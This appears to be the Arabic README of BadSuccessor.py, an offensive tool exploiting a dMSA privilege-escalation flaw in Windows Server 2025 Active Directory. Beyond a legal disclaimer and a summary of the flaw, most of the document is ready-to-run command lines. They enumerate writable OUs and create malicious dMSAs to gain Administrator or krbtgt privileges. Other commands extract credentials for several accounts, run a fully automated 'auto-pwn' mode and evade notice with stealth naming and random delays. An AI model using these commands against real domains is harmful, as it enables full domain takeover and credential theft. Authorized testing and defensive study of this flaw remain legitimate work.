BadSuccessor.py

أداة اختبار اختراق تستغل ثغرة تصعيد الامتيازات في ميزة dMSA (حساب الخدمة المُدار المفوض) في بيئات Active Directory لخادم Windows Server 2025.

⚠️ إخلاء المسؤولية القانوني

هذه الأداة مخصصة لاختبار الاختراق المصرح به وأغراض البحث الأمني فقط. استخدام هذه الأداة ضد أنظمة دون إذن كتابي صريح هو أمر غير قانوني وغير أخلاقي. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

⚠️ إخلاء مسؤولية حالة التطوير والاختبار البيئي

هام: هذه الأداة قيد التطوير والاختبار النشط.

الحالة الحالية

• اعتماد Windows Server 2025: اعتبارًا من مايو 2025، لا يزال Windows Server 2025 في مرحلة التبني المبكر مع عمليات نشر إنتاجية محدودة
• الاختلافات البيئية: نظرًا للعدد المحدود من بيئات Windows Server 2025 المتاحة للاختبار، قد تواجه هذه الأداة تكوينات غير مختبرة
• التطوير المستمر: نقوم بنشاط بتحسين الأداة مع نشر واختبار المزيد من الاختلافات البيئية

ماذا يعني هذا

• توقع التحديثات: ستتلقى الأداة تحديثات متكررة مع اختبار أنواع بيئات جديدة
• أبلغ عن المشاكل: ملاحظاتك حاسمة - يرجى الإبلاغ عن أي مشاكل أو حالات حافة تواجهها
• اختبر بحذر: اختبر دائمًا في بيئة غير إنتاجية أولاً
• اختلافات المخطط: قد تنفذ إصدارات Windows Server 2025 المختلفة سمات dMSA بطرق مختلفة
• استقرار الميزات: على الرغم من أن الوظائف الأساسية مستقرة، إلا أن بعض الميزات قد تتطلب تعديلًا لبيئات محددة

المتغيرات المعروفة التي يتم تتبعها

• إصدارات بناء Windows Server 2025 المختلفة
• اصطلاحات تسمية سمات المخطط
• تطبيقات Active Directory الإقليمية/المترجمة
• تكوينات السحابة الهجينة
• مستويات وظيفية مختلفة لـ Active Directory
• تكوينات تحصين أمني مختلفة

الاختبار المجتمعي

نشجع المجتمع الأمني على:

• الاختبار في بيئات متنوعة
• مشاركة النتائج (بعد تنظيفها)
• تقديم طلبات سحب لتحسينات التوافق
• الإبلاغ عن الاختلافات البيئية

باستخدامك لهذه الأداة، فإنك تقر بأنها قيد التطوير النشط وقد تتطلب تعديلات لبيئتك المحددة.

📋 نظرة عامة

تستغل BadSuccessor ثغرة تصعيد الامتيازات في ميزة حساب الخدمة المُدار المفوض (dMSA) في Windows Server 2025. تسمح الثغرة للمهاجمين ذوي الصلاحيات الدنيا بتصعيد الامتيازات إلى أي مستخدم في المجال، بما في ذلك مسؤولو المجال.

إشادة بالبحث

تستند هذه الأداة إلى البحث الممتاز الذي أجراه Yuval Gordon من Akamai Technologies:

• BadSuccessor: إساءة استخدام dMSA لتصعيد الامتيازات في Active Directory

🎯 تفاصيل الثغرة

تكمن الثغرة في عملية ترحيل dMSA حيث:

1. ينشئ المهاجم dMSA خبيثًا في أي وحدة تنظيمية (OU) قابلة للكتابة
2. يضبط msDS-ManagedAccountPrecededByLink أو ms-DS-Managed-Account-Preceded-By-Link ليشير إلى مستخدم مستهدف
3. يضبط msDS-DelegatedMSAState أو ms-DS-Delegated-MSA-State على 2 (اكتمل الترحيل)
4. يمنح مركز توزيع المفاتيح (KDC) تلقائيًا dMSA جميع امتيازات المستخدم المستهدف عبر وراثة PAC

بالإضافة إلى ذلك، يحتوي هيكل KERB-DMSA-KEY-PACKAGE على مفاتيح كلمة مرور المستخدم المستهدف، مما يتيح استخراج بيانات الاعتماد.

✅ المتطلبات الأساسية

متطلبات النظام

• جهاز لينكس (غير منضم إلى مجال)
• Python 3.6+
• وصول عبر الشبكة إلى بيئة Active Directory المستهدفة
• يجب أن يحتوي المجال المستهدف على وحدة تحكم مجال واحدة على الأقل تعمل بنظام Windows Server 2025

تبعيات Python```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**ملاحظة**: تم اختبار الأداة مع impacket 0.12.0. يتم عرض تحذيرات توافق الإصدارات في وقت التشغيل.

### التبعيات الاختيارية```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

الصلاحيات المطلوبة

• بيانات اعتماد نطاق صالحة (أي حساب مستخدم)
• أي من الصلاحيات التالية على وحدة تنظيمية واحدة على الأقل:
  • صلاحية CreateChild
  • صلاحية Write
  • صلاحية GenericWrite
  • صلاحية GenericAll
  • عضو في المجموعات الافتراضية مع صلاحية الكتابة (مثل المستخدمين المصادق عليهم)
• تكتشف الأداة تلقائيًا جميع وحدات التنظيم القابلة للكتابة وتعرض الصلاحيات المحددة

🚀 التثبيت```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 الاستخدام

الصيغة الأساسية```bash

python3 badsuccessor.py -d -u -p [options]

### أمثلة البداية السريعة

#### 1. وضع التشغيل التجريبي (جديد) - الاختبار بدون إجراء تغييرات```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. تعداد البيئة```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. تنفيذ الهجوم```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. استخراج بيانات الاعتماد```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. إدارة الجلسات (جديد)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID

# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all

6. تصدير النتائج (جديد)```bash

Export enumeration results to JSON

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json

Export to CSV

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv

Generate HTML report

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html

Combined operation with exports

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html

### خيارات سطر الأوامر

#### وسائط المصادقة
| الخيار | الوصف |
|--------|-------------|
| `-d, --domain` | النطاق المستهدف (مثال: corp.local) **[مطلوب]** |
| `-u, --username` | اسم المستخدم للمصادقة **[مطلوب]** |
| `-p, --password` | كلمة المرور للمصادقة |
| `--dc-ip` | عنوان IP لوحدة تحكم النطاق (اكتشاف تلقائي إذا تم حذفه) |
| `--ldaps` | فرض اتصال LDAPS (SSL) على المنفذ 636 |